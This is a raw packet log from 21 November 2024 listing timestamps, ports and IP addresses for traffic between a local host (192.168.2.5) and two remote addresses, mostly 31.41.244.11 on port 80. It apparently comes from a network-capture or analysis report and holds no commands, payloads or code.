Nov 21, 2024 03:09:12.210069895 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.210211992 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.210233927 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.210438013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.210484982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.210551977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.210599899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.211493015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.211569071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.211606026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.211652040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.212557077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.212608099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.212661028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.212707996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.213602066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.213661909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.213697910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.213745117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.214678049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.214761019 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.214796066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.214839935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.215729952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.215776920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.215859890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.215904951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.216805935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.216854095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.216901064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.216945887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.217873096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.217921972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.217926025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.217967033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.218933105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.218978882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.219042063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.219088078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.220002890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.220050097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.220118046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.220177889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.221057892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.221103907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.221159935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.221204042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.222151041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.222197056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.222270012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.222313881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.223190069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.223237038 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.223272085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.223324060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.224265099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.224317074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.224355936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.224401951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.225317001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.225383997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.225450039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.225495100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.226387978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.226435900 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.226500034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.226546049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.227471113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.227518082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.227555037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.227600098 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.228528023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.228574991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.228641987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.228688002 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.229590893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.229636908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.229716063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.229758978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.230664015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.230710030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.230772972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.230820894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.231708050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.231759071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.231838942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.231904984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.232798100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.232851982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.232904911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.232960939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.233866930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.233912945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.233987093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.234030962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.234913111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.234960079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.235018015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.235063076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.235991001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.236038923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.236084938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.236131907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.237114906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.237138033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.237159967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.237181902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.238152981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.238203049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.238236904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.238279104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.239192963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.239249945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.239284992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.239334106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.240261078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.240313053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.240371943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.240418911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.241312981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.241360903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.241415024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.241458893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.242424011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.242469072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.242552042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.242597103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.243459940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.243508101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.243547916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.243616104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.244489908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.244538069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.389842033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.389942884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.390017033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.390328884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.390387058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.390486956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.390548944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.391393900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.391444921 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.391505957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.391551018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.392494917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.392544031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.392719030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.392761946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.393655062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.393702984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.393826008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.393872976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.394603968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.394651890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.394721031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.394762039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.395656109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.395701885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.395778894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.395817041 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.396742105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.396792889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.396856070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.396902084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.397794962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.397840977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.397902012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.397943974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.398858070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.398906946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.398973942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.399019003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.399930000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.399995089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.400027037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.400070906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.400984049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.401001930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.401031017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.401071072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.402072906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.402122021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.402143002 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.402184963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.403121948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.403167963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.403225899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.403275013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.404203892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.404252052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.404256105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.404300928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.405250072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.405296087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.405426979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.405472994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.406311989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.406359911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.406424046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.406469107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.407414913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.407459974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.407504082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.407546043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.408510923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.408556938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.408576012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.408617973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.409526110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.409573078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.409626961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.409668922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.410586119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.410629988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.410697937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.410742044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.411715031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.411762953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.411827087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.411885977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.412707090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.412754059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.412806034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.412847996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.413772106 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.413817883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.413894892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.413938999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.414854050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.414901018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.414937973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.414984941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.415920973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.415970087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.416006088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.416050911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.416979074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.417025089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.417079926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.417124987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.418056965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.418104887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.418183088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.418231010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.419092894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.419138908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.419209957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.419250011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.420197964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.420244932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.420300961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.420345068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.421241999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.421287060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.421353102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.421397924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.422343016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.422389030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.422422886 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.422467947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.423393011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.423439026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.423511028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.423554897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.424443960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.424489021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.424547911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.424587965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.425566912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.425618887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.425647974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.425708055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.426590919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.426636934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.426698923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.426745892 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.427649975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.427704096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.427733898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.427778959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.428713083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.428762913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.428813934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.428869963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.429789066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.429838896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.429920912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.429965019 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.430854082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.430901051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.430932045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.430983067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.431931973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.431978941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.432029009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.432070971 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.432996988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.433046103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.433063984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.433108091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.434067011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.434112072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.434175014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.434220076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.435117960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.435163975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.435229063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.435270071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.436203003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.436245918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.436252117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.436290026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.437252045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.437298059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.437362909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.437405109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.438328028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.438374043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.438452005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.438498974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.439394951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.439443111 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.439456940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.439502001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.440471888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.440517902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.440586090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.440633059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.441557884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.441603899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.441637993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.441696882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.442588091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.442635059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.442703009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.442747116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.443680048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.443726063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.443763018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.443806887 CET	49814	80	192.168.2.5	31.41.244.11
